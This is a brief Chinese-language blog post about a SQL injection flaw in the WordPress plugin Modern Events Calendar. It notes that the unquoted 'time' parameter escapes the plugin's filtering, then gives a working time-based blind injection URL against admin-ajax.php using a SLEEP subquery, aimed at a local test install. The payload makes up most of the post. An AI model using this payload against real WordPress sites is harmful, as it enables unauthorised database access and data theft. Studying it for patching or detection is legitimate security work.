WordPress Plugin Modern Events C
2022-02-15 本文已影响0人
Billie_f310
接收参数的过滤方法并不能去除 select sleep等函数。time处理有问题
time没有单引号
http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2) AND (SELECT 1622 FROM (SELECT(S
LEEP(5)))IfrQ) AND (1580=1580
